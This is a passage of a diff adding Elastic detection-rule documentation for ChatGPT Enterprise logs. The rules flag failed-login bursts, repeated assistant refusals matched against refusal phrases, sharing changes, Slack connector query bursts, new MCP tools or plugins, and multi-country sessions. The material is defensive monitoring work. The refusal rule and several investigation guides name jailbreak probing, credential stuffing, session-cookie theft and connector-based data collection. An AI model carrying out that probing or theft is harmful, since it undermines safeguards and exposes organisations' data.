Enterprise Multiple Authentication Failures* + + +One email produced a burst of failed ChatGPT Enterprise login attempts. That pattern can indicate password spraying, credential stuffing, or repeated guessing before a successful compromise. + +Escalate when many distinct source IPs are involved, failures precede a successful login from an unfamiliar IP or user agent, or privileged activity follows. Close as a false positive for repeated typos or SSO misconfiguration from a single client. + + +*Possible investigation steps* + + +- Review `Esql.event_count`, `Esql.source_ip_values`, and geo values on the alert. +- Low IP diversity usually indicates one device or egress. High diversity suggests distributed automation. +- Search for successful logins for the same email immediately after the failure burst. +- Correlate with role changes, invites, or data-access events if a successful login follows. + + +*False positive analysis* + + +- Users mistyping passwords or temporary SSO misconfiguration can generate short clusters of failures from one IP and user agent. + + +*Response and remediation* + + +- If compromise is suspected, lock or reset the account, revoke sessions, and review subsequent successful authentication and audit activity. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.auth_log-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.auth_log" and + event.action == "login_failed" and + user.email is not null +| stats + Esql.event_count = count(*), + Esql.source_ip_values = values(source.ip), + Esql.source_geo_country_iso_code_values = values(source.geo.country_iso_code), + Esql.user_agent_original_values = values(user_agent.original), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email +| where Esql.event_count >= 10 +| keep user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-repeated-assistant-refusals.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-repeated-assistant-refusals.asciidoc new file mode 100644 index 0000000000..46c8e0342e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-repeated-assistant-refusals.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-repeated-assistant-refusals]] +=== OpenAI ChatGPT Enterprise Repeated Assistant Refusals + +Detects three or more ChatGPT Enterprise assistant messages for the same user whose text matches common policy-refusal phrases (cannot assist, cannot help, cannot fulfill, unable to assist, against my guidelines, and similar) within the lookback window. A refusal burst can indicate jailbreak probing, policy-bypass attempts, or automated unsafe prompting intended to evade model safety controls. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Policy Violation +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Defense Evasion +* Mitre Atlas: AML.T0051 +* Mitre Atlas: AML.T0054 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Repeated Assistant Refusals* + + +One user received three or more assistant replies whose text matches common refusal phrasing in the lookback window. +That pattern can indicate jailbreak probing, attempts to elicit disallowed content, or scripted unsafe prompting. + +Escalate when the sampled messages are clear hard refusals, nearby prompts look adversarial, or the same user also +triggers credential-exposure or unusual Codex MCP activity. Close as a false positive for approved security evaluations +or partial phrases inside otherwise helpful answers. + + +*Possible investigation steps* + + +- Review `Esql.message_values`, `Esql.event_count`, and `Esql.conversation_id_count_distinct` on the alert. +- Pull surrounding user messages in the same conversation IDs for jailbreak or malware-request themes. +- Correlate with credential-in-conversation, Codex MCP, share, and download activity from the same `user.email`. +- Confirm whether the account is used for approved prompt-security testing. + + +*False positive analysis* + + +- Approved red-team or model-evaluation traffic that intentionally elicits refusals. +- Soft refusals embedded in longer helpful answers (for example, declining malware assistance while offering defensive + guidance). + + +*Response and remediation* + + +- If probing is unauthorized, restrict the account, review recent conversations, and hunt for successful bypasses after + the refusal burst. +- Use confirmed jailbreak prompts to improve prompt-security controls and user awareness where appropriate. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect conversation message compliance logs into +Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.conversation_message-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.conversation_message" and + openai_chatgpt_enterprise.conversation_message.message.author.type == "assistant" and + message is not null and + user.email is not null +| eval Esql.message_text = to_lower(message) +| where + Esql.message_text like "*i can't assist*" or + Esql.message_text like "*i can't help*" or + Esql.message_text like "*i cannot fulfill*" or + Esql.message_text like "*i cannot help*" or + Esql.message_text like "*i cannot provide*" or + Esql.message_text like "*i can't provide*" or + Esql.message_text like "*i will not provide*" or + Esql.message_text like "*i won't provide*" or + Esql.message_text like "*i cannot answer*" or + Esql.message_text like "*i can't answer*" or + Esql.message_text like "*unable to assist*" or + Esql.message_text like "*against my guidelines*" +| stats + Esql.event_count = count(*), + Esql.conversation_id_count_distinct = count_distinct(openai_chatgpt_enterprise.conversation_message.conversation.id), + Esql.message_values = values(message), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by + user.email, + organization.id +| where Esql.event_count >= 3 +| keep + user.email, + organization.id, + Esql.event_count, + Esql.conversation_id_count_distinct, + Esql.message_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-resources-sharing-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-resources-sharing-updated.asciidoc new file mode 100644 index 0000000000..de55e50eb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-resources-sharing-updated.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-resources-sharing-updated]] +=== OpenAI ChatGPT Enterprise Resources Sharing Updated + +Detects ChatGPT Enterprise audit events that publish a GPT or update sharing for GPTs, skills, or projects (`gpt_publish`, `update_sharing`, `skill_share`, `project_update_sharing`). Broadening share scope can expose custom instructions, tools, or proprietary agent configurations beyond the original audience. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Exfiltration +* Mitre Atlas: AML.T0025 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Resources Sharing Updated* + + +A GPT was published or a GPT, skill, or project sharing setting changed. Broadening share scope can expose proprietary instructions, connectors, or data. + +Escalate when `shared_to.recipient_type` or related fields indicate a wider audience than policy allows, the asset includes sensitive instructions or connectors, or the publisher is unexpected. Close as a false positive for intentional publication under an approved release process. + + +*Possible investigation steps* + + +- Identify the actor and the GPT, skill, or project identifiers on the alert. +- Review `openai_chatgpt_enterprise.audit_log.action_data.shared_to.recipient_type` and other share-scope fields when present. +- Confirm whether store or broad visibility was enabled and whether that matches change management. +- Look for related publish, share, or connector-link events from the same actor. + + +*False positive analysis* + + +- Teams intentionally publish GPTs or skills for approved internal or partner use under change management. + + +*Response and remediation* + + +- Restrict unauthorized shares, unpublish if needed, and inventory other published assets by the same actor. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action in ("gpt_publish", "update_sharing", "skill_share", "project_update_sharing") +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, source.ip, + openai_chatgpt_enterprise.audit_log.action_data.gpt_id, + openai_chatgpt_enterprise.audit_log.action_data.agent_id, + openai_chatgpt_enterprise.audit_log.action_data.skill_id, + openai_chatgpt_enterprise.audit_log.action_data.shared_to.recipient_type, + openai_chatgpt_enterprise.audit_log.action_data.third_party_gizmo_id, + openai_chatgpt_enterprise.audit_log.action_privilege, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-slack-query-burst.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-slack-query-burst.asciidoc new file mode 100644 index 0000000000..971ea46b10 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-slack-query-burst.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-slack-query-burst]] +=== OpenAI ChatGPT Enterprise Slack Query Burst + +Detects a ChatGPT Enterprise user issuing ten or more distinct Slack app search queries in a five-minute bucket. Adversaries who abuse a linked Slack connector after session compromise often run rapid multi-query searches across channels and messages to locate sensitive content before collection or exfiltration. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Collection +* Tactic: Discovery +* Mitre Atlas: AML.T0053 +* Mitre Atlas: AML.T0085 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Slack Query Burst* + + +One user ran ten or more distinct Slack app searches in five minutes. That pattern can indicate using ChatGPT's Slack +connector to enumerate channels or messages at volume for collection. + +Escalate when queries look like bulk discovery (many channels, sequential refinements, sensitive keywords), downloads +or shares follow, or the actor is unexpected. Close as a false positive for approved incident-response or support +search bursts. + + +*Possible investigation steps* + + +- Review `Esql.query_values`, `Esql.query_count_distinct`, and `Esql.event_count` on the alert. +- Correlate with nearby conversation messages asking ChatGPT to search Slack or retrieve messages or files. +- Check subsequent file downloads, conversation shares, or Codex MCP Slack tool calls from the same user. +- Confirm whether the Slack connector is approved for that user and whether the search volume matches their role. + + +*False positive analysis* + + +- Support and incident-response teams commonly refine Slack searches many times in one session. +- Raise `Esql.query_count_distinct` (default 10) above your baseline if heavy Slack-connector users remain noisy. + + +*Response and remediation* + + +- If unauthorized, revoke Slack connector access for the user, review retrieved messages and files, and treat exposed + content per your data-incident process. +- Hunt for follow-on downloads, shares, or external forwarding of the matched content. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect `app_log` events for the Slack app, including +request logs with `openai_chatgpt_enterprise.app_log.query` populated. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.app_log-* +| where + data_stream.dataset == "openai_chatgpt_enterprise.app_log" and + openai_chatgpt_enterprise.app_log.app_name == "Slack" and + openai_chatgpt_enterprise.app_log.log_type == "request" and + openai_chatgpt_enterprise.app_log.query is not null and + user.email is not null +| eval Esql.time_bucket = date_trunc(5 minutes, @timestamp) +| stats + Esql.query_count_distinct = count_distinct(openai_chatgpt_enterprise.app_log.query), + Esql.event_count = count(*), + Esql.query_values = values(openai_chatgpt_enterprise.app_log.query), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by + user.email, + organization.id, + Esql.time_bucket +| where Esql.query_count_distinct >= 10 +| keep + user.email, + organization.id, + Esql.time_bucket, + Esql.query_count_distinct, + Esql.event_count, + Esql.query_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-mcp-tool-call.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-mcp-tool-call.asciidoc new file mode 100644 index 0000000000..b84bdad7db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-mcp-tool-call.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-mcp-tool-call]] +=== OpenAI ChatGPT Enterprise Unusual Codex MCP Tool Call + +Detects the first ChatGPT Enterprise Codex MCP tool name used by a given user email within an organization in the rule history window. Codex MCP tools can query external systems and pull organizational data into an agent session. Alerting on first-seen organization, user, and tool triples highlights new or unexpected connector usage rather than every routine approved tool call. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-openai_chatgpt_enterprise.codex_log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: New Terms +* Tactic: Collection +* Mitre Atlas: AML.T0085 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Unusual Codex MCP Tool Call* + + +First-seen Codex MCP tool name for this `organization.id` and `user.email` within the rule history window. MCP tools can move organizational +data into external systems through Codex. + +Escalate when the tool or connector is not on the approved inventory, the actor is unexpected, or the same session also +shows credential exposure, broad file access, or unusual shares. Close as a false positive when the tool is approved +for that user or team. + + +*Possible investigation steps* + + +- Record `gen_ai.tool.name`, connector or resource identifiers, and the user (`user.email` / `user.id`). +- Confirm whether the MCP connector is approved in your ChatGPT Enterprise workspace inventory. +- Review nearby Codex events for the same session for additional tool calls, prompts containing secrets, or + access-token creation. +- Search for the same tool used by other users to distinguish a new org-wide rollout from a single anomalous account. + + +*False positive analysis* + + +- Approved engineering automation commonly introduces first-seen tool names during connector rollouts and pilot work. + + +*Response and remediation* + + +- Disable unauthorized connectors, revoke related credentials, and review data returned into the Codex session. +- If sensitive data was retrieved, treat the session as a potential exposure and follow your data-incident process. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "openai_chatgpt_enterprise.codex_log" and + event.action: "app_mcp_call" and + organization.id: * and + user.email: * and + gen_ai.tool.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-plugin-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-plugin-installed.asciidoc new file mode 100644 index 0000000000..24cb48ec74 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-plugin-installed.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-codex-plugin-installed]] +=== OpenAI ChatGPT Enterprise Unusual Codex Plugin Installed + +Detects the first ChatGPT Enterprise Codex plugin install for a given plugin display name and plugin name pair within the rule history window. Newly installed Codex plugins expand the tools and data sources available inside agent sessions; adversaries can enable unexpected connectors to persist access to mail, chat, or file systems after initial compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-openai_chatgpt_enterprise.codex_log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: New Terms +* Tactic: Persistence +* Tactic: Collection +* Mitre Atlas: AML.T0053 +* Mitre Atlas: AML.T0085 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Unusual Codex Plugin Installed* + + +A Codex plugin was installed for the first time for this plugin pair within the rule history window. Plugins can add +connectors that pull mail, chat, or file content into Codex sessions. + +Escalate when the plugin is not on the approved inventory, the installing user is unexpected, or nearby activity shows +sensitive search bursts, MCP tool abuse, or access-token creation. Close as a false positive for approved connector +rollouts. + + +*Possible investigation steps* + + +- Record `plugin_display_name`, `plugin_name`, and the installing user (`user.email` / `user.id`). +- Confirm whether the plugin is approved in your ChatGPT Enterprise or Codex workspace inventory. +- Review nearby Codex and app-log activity for the same user for MCP calls, Drive or Slack query bursts, or credential + exposure. +- Search for the same plugin installed by other users to distinguish org-wide rollout from a single anomalous install. + + +*False positive analysis* + + +- Planned enablement of common plugins (Slack, Gmail, Google Drive) during onboarding or team pilots. + + +*Response and remediation* + + +- Remove unauthorized plugins, revoke related OAuth links, and review data accessed after the install. +- If sensitive data may have been retrieved, follow your data-incident process for the session window. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect Codex compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "openai_chatgpt_enterprise.codex_log" and + event.action: "plugin_installed" and + organization.id: * and + user.email: * and + openai_chatgpt_enterprise.codex_log.event_details.plugin_display_name: * and + openai_chatgpt_enterprise.codex_log.event_details.plugin_name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-mcp-app-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-mcp-app-activity.asciidoc new file mode 100644 index 0000000000..55eaf2d970 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-mcp-app-activity.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-unusual-mcp-app-activity]] +=== OpenAI ChatGPT Enterprise Unusual MCP App Activity + +Detects the first time a ChatGPT Enterprise MCP app name is used by a given user email within an organization in the rule history window. MCP apps connect ChatGPT to external systems and can move organizational data into third-party tools. Alerting on first-seen organization, user, and app id triples highlights new or unexpected connector usage rather than every routine approved MCP request. App name is still required in the query for investigation context. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-openai_chatgpt_enterprise.app_log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: New Terms +* Tactic: Collection +* Mitre Atlas: AML.T0053 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Unusual MCP App Activity* + + +First-seen MCP app name for this `organization.id` and `user.email` within the rule history window. MCP apps can move organizational data +into third-party tools. + +Escalate when the app is not in the approved inventory, the query looks like bulk data access, or the user recently +had suspicious authentication activity. Close as a false positive when the app is approved for that user. + + +*Possible investigation steps* + + +- Identify the user and app (`openai_chatgpt_enterprise.app_log.app_name`, `app_id`). +- Review `openai_chatgpt_enterprise.app_log.query` and conversation identifiers when present. +- Confirm whether the app is approved for the workspace and whether OAuth links for that app are expected. +- Correlate with app-auth link events, conversation shares, or file downloads from the same user nearby. + + +*False positive analysis* + + +- Approved MCP apps generate routine request logs. First-seen alerts often reflect a user adopting an already-approved + connector. + + +*Response and remediation* + + +- Disable unauthorized MCP apps, revoke linked credentials, and review conversation context for sensitive data + exposure. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "openai_chatgpt_enterprise.app_log" and + openai_chatgpt_enterprise.app_log.app_type: "MCP" and + organization.id: * and + user.email: * and + openai_chatgpt_enterprise.app_log.app_name: * and + openai_chatgpt_enterprise.app_log.app_id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-activity-from-high-number-of-countries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-activity-from-high-number-of-countries.asciidoc new file mode 100644 index 0000000000..495eb14ec4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-activity-from-high-number-of-countries.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-user-activity-from-high-number-of-countries]] +=== OpenAI ChatGPT Enterprise User Activity From High Number of Countries + +Detects ChatGPT Enterprise activity for the same user email from at least three countries and two unique user agents within a four-hour interval across any compliance data stream. Stolen session cookies often produce post-auth activity (conversation views, deletions, downloads) without a new login event, so this rule is not limited to authentication logs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-4h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Tactic: Initial Access +* Mitre Atlas: AML.T0012 +* Threat: Impossible Travel + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise User Activity From High Number of Countries* + + +Activity for the same email spans multiple countries and user agents in a short window across ChatGPT Enterprise compliance streams. That pattern can indicate session reuse, token abuse, or shared-account access through distant egress points, including cases where no new authentication event is logged. + +Escalate when countries and user agents diverge sharply, the user denies travel or VPN use, or privileged actions appear on distant IPs. Close as a false positive for documented dual-homed VPN or cloud egress with consistent corporate clients. + + +*Possible investigation steps* + + +- Review `Esql.source_geo_country_iso_code_values`, `Esql.source_geo_region_name_values`, and `Esql.user_agent_original_values`. +- Compare source IPs and timestamps (`Esql.timestamp_first_seen`, `Esql.timestamp_last_seen`) for physical travel feasibility. +- Check for privileged audit actions, downloads, or shares from the distant IPs. +- Contact the user only after geo and user-agent triage to confirm expected VPN or travel. + + +*False positive analysis* + + +- Split-tunnel, dual-homed, or VPN egress that geo-resolves through multiple regions is the most common false positive. Corroborate with ASN and user-agent consistency before escalating. + + +*Response and remediation* + + +- On suspected compromise: force logout, revoke sessions, reset credentials and MFA, and review role changes or exports for the same email after the distant activity. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.* +| where + user.email is not null and + source.ip is not null and + source.geo.country_iso_code is not null +| stats + Esql.country_count = count_distinct(source.geo.country_iso_code), + Esql.region_count = count_distinct(source.geo.region_name), + Esql.source_ip_count = count_distinct(source.ip), + Esql.user_agent_count = count_distinct(user_agent.original), + Esql.event_count = count(*), + Esql.event_action_values = values(event.action), + Esql.source_ip_values = values(source.ip), + Esql.source_geo_country_iso_code_values = values(source.geo.country_iso_code), + Esql.source_geo_region_name_values = values(source.geo.region_name), + Esql.source_geo_city_name_values = values(source.geo.city_name), + Esql.user_agent_original_values = values(user_agent.original), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email +| where Esql.country_count >= 3 and Esql.user_agent_count >= 2 +| keep user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference 